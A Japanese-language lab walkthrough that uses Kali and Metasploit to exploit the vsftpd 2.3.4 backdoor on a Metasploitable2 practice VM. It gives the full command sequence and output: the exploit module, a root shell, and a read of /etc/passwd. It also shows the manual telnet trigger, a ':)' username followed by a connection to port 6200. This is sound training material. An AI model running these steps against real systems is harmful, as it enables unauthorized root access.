前提
『Metasploit』
www.demandosigno.study
Metasploitable2 と Kali の双方のアドレスを確認する。
root@kali:~# ifconfig eth0 eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255 ~(後略)~ msfadmiin@metasploitable:~$ ifconfig eth0 eth0 Link encap:Ethernet HWaddr 08:00:27:79:45:e8 inet addr:192.168.56.105 Bcast:192.168.56.255 Mask:255.255.255.0 ~(後略)~ 疎通確認 root@kali:~# ping 192.168.56.105 PING 192.168.56.105 (192.168.56.105) 56(84) bytes of data. 64 bytes from 192.168.56.105: icmp_seq=1 ttl=63 time=0.848 ms 64 bytes from 192.168.56.105: icmp_seq=2 ttl=63 time=1.69 ms 64 bytes from 192.168.56.105: icmp_seq=3 ttl=63 time=1.74 ms
msfconsole を起動する
- Metasploit で使うデータベースを起動する
- データベースの初期化を行う
- msfconsole を起動する
root@kali:~# service postgresql start root@kali:~# service postgresql status ● postgresql.service - PostgreSQL RDBMS Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor pres Active: active (exited) since Fri 2019-09-06 15:50:02 JST; 17s ago ~(後略)~
root@kali:~# msfdb init [i] Database already started [+] Creating database user 'msf' 新しいロールのためのパスワード: もう一度入力してください: [+] Creating databases 'msf' [+] Creating databases 'msf_test' [+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml' [+] Creating initial database schema 既に一度でも起動したことがある場合 root@kali:~# msfdb init [i] Database already started [i] The database appears to be already configured, skipping initialization
root@kali:~# msfconsole (この画面は毎回変わる) .;lxO0KXXXK0Oxl:. ,o0WMMMMMMMMMMMMMMMMMMKd, 'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx, :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK: .KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX, lWMMMMMMMMMMMXd:.. ..;dKMMMMMMMMMMMMo xMMMMMMMMMMWd. .oNMMMMMMMMMMk oMMMMMMMMMMx. dMMMMMMMMMMx .WMMMMMMMMM: :MMMMMMMMMM, xMMMMMMMMMo lMMMMMMMMMO NMMMMMMMMW ,cccccoMMMMMMMMMWlccccc; MMMMMMMMMX ;KMMMMMMMMMMMMMMMMMMX: NMMMMMMMMW. ;KMMMMMMMMMMMMMMX: xMMMMMMMMMd ,0MMMMMMMMMMK; .WMMMMMMMMMc 'OMMMMMM0, lMMMMMMMMMMk. .kMMO' dMMMMMMMMMMWd' .. cWMMMMMMMMMMMNxc'. ########## .0MMMMMMMMMMMMMMMMWc #+# #+# ;0MMMMMMMMMMMMMMMo. +:+ .dNMMMMMMMMMMMMo +#++:++#+ 'oOWMMMMMMMMo +:+ .,cdkO0K; :+: :+: :::::::+: Metasploit =[ metasploit v5.0.43-dev ] + -- --=[ 1917 exploits - 1074 auxiliary - 330 post ] + -- --=[ 556 payloads - 45 encoders - 10 nops ] + -- --=[ 4 evasion ] msf5 >
Metasploitable2 の 21番ポートで動いているサービスを調べる。
msf5 > nmap -sV -p 21 192.168.56.105 [*] exec: nmap -sV -p 21 192.168.56.105 Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-06 16:01 JST Nmap scan report for 192.168.56.105 Host is up (0.0013s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 (← 21番ポートでは vsftpd 2.3.4 が動いていることが分かる) Service Info: OS: Unix Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1.37 seconds msf5 >
対応するエクスプロイトが存在するか検索する。
msf5 > search vsftpd Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
vsftpd 2.3.4に含まれたバックドアに関する検証レポート | NTTデータ先端技術株式会社
vsftpdのバージョン2.3.4のソースファイル「vsftpd-2.3.4.tar.gz」にリモートから任意のコードの実行を可能にするバックドアコードが含まれていました。
バックドアコードを含んだ状態でvsftpdをインストールおよび起動すると、特定の文字列「:)」を含むユーザー名でFTP接続した際にバックドアポートであるTCP6200番がオープンします。バックドアポートにリモートから接続すると任意のコマンドが実行可能となります。
検出したエクスプロイトを使用する。 msf5 > use exploit/unix/ftp/vsftpd_234_backdoor Metasploitable2 の IPアドレスをセットする。 msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.56.105 RHOST => 192.168.56.105 ペイロードをセットする。 msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact PAYLOAD => cmd/unix/interact エクスプロイトを実行する。 msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit [*] 192.168.56.105:21 - Banner: 220 (vsFTPd 2.3.4) [*] 192.168.56.105:21 - USER: 331 Please specify the password. [+] 192.168.56.105:21 - Backdoor service has been spawned, handling... [+] 192.168.56.105:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 1 opened (10.0.2.15:39609 -> 192.168.56.105:6200) at 2019-09-06 16:12:11 +0900 侵入できたかどうか確認する。 id uid=0(root) gid=0(root) uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux Metasploitable2 に侵入できていることが分かる。 パスワードファイルを表示する。 cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh ~(後略)~ Ctrl + C で終了する。 ^C Abort session 1? [y/N] y "" [*] 192.168.56.105 - Command shell session 1 closed. Reason: User exit msf5 exploit(unix/ftp/vsftpd_234_backdoor) > back Metasploit コンソールを終了する msf5 > exit Metasploitable2 から出る
telnet を使用して検証してみる。
root@kali:~# telnet 192.168.56.105 21 Trying 192.168.56.105... Connected to 192.168.56.105. Escape character is '^]'. 220 (vsFTPd 2.3.4) user backdoored:) (← ユーザー名。ハッピーフェイス :) を入力する) 331 Please specify the password. pass invalid (← パスワード) ^] (← Ctrl + ] でエスケープ文字を送信し、コマンドモードに移行する) telnet> quit (← telnet を一度終了する) Connection closed. root@kali:~# telnet 192.168.56.105 6200 (← 6200 ポートがオープンしているか調べる) Trying 192.168.56.105... Connected to 192.168.56.105. Escape character is '^]'. id; (← id コマンドを試してみる) uid=0(root) gid=0(root) : command not found uname -a; (← uname -a コマンドを試してみる) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux (← Metasploitable2 に侵入できている) : command not found cat /etc/passwd; (← /etc/passwd ファイルを表示してみる) root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh ~(後略)~ : command not found ^] (← Ctrl + ] でエスケープ文字を送信し、コマンドモードに移行する) telnet> quit Connection closed. root@kali:~#
以上でMetasploitable2 に侵入して root 権限でファイル操作ができることが分かる。